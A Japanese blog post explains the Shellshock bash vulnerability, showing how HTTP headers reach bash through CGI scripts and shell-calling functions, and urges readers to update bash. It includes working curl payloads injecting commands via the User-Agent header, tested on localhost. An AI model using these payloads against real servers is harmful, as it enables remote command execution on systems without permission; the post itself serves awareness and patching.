少し出遅れた感があるが、bash の脆弱性 (CVE-2014-6271, CVE-2014-7169) の影響を受ける典型的な事例を示す。
この脆弱性の影響
特定の条件下で、攻撃者が OS に対して任意のコマンドを実行できる。詳細は参考ページなどを参照のこと。
結論
- 第三者が「環境変数に任意の値を設定」して「bash を実行」できる状態だとやばい。
- bash をアップデートしよう。
「環境変数に任意の値を設定」できる例
- HTTP リクエストのヘッダに値を設定して、Perl/CGI スクリプトを実行する
HTTP_USER_AGENT
などが手ごろ
- PHP は CGI 版 PHP だと HTTP の環境変数がシェルの環境変数に入る模様
例えば curl なら -A
オプションで User Agent の値を指定できる。
$ curl -A '() { :;}; echo vulnerable;' http://example.com/hoge.cgi
「bash が実行」される例
- bash スクリプトを実行したとき
bash -c hoge
のようなコマンドを実行したとき/bin/sh
の実体が bash もしくは bash ベースになっている OS (確認した範囲だと CentOS や Mac) で、- シェルスクリプトを実行したとき
- 各種言語で OS のシェルを呼び出す関数 (例: Perl の
system()
) を含むスクリプトを実行したとき
Perl の system()
関数は ;
や |
、>
などを含むときのみシェルが起動されるようだ。Python の os.system()
は単一のコマンドでもシェルを介すようだ。
#!/usr/bin/perl
system("echo hoge"); # echo が直接実行されるからセーフ
system("echo hoge; echo fuga"); # sh -c 'echo hoge; echo fuga' として実行されるからアウト
/bin/sh
の実体が bash かどうかは --version
オプションで確認できる。例えば OS X だと次のような結果になる。
$ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
このような環境で動いている Web サーバで、各種プログラミング言語の system()
関数を使うような Web アプリケーションを動かしていると、特に危ない。
検証
以上を踏まえて検証してみる。環境は MAMP を用いる。
Perl/CGI スクリプト
test.cgi
:
#!/usr/bin/perl
system("echo hoge; echo fuga");
実行結果
$ curl -A '() { :;}; echo Content-type:text/plain; echo; /usr/bin/uname -a' http://localhost:8888/bash/test.cgi
Darwin MacBook-air 13.4.0 Darwin Kernel Version 13.4.0: Sun Aug 17 19:50:11 PDT 2014; root:xnu-2422.115.4~1/RELEASE_X86_64 x86_64
このように任意のコマンド (今回だと uname
) を実行できた。
おわりに
今回は HTTP 経由の事例のみを挙げたが、他にも方法がありそうだ。例えば PHP の mail()
や Ruby の Passenger、sendmail の .forward
、dhcp クライアントなどが話題にあがっている。
何はともあれ早急に bash をアップデートした方が良さそうだ。
参考ページ
- bash の脆弱性 (CVE-2014-6271) #ShellShock の関連リンクをまとめてみた – piyolog
- 14.10の開発・“shellshock”とその対応・UWN#384 – Ubuntu Weekly Topics
コメント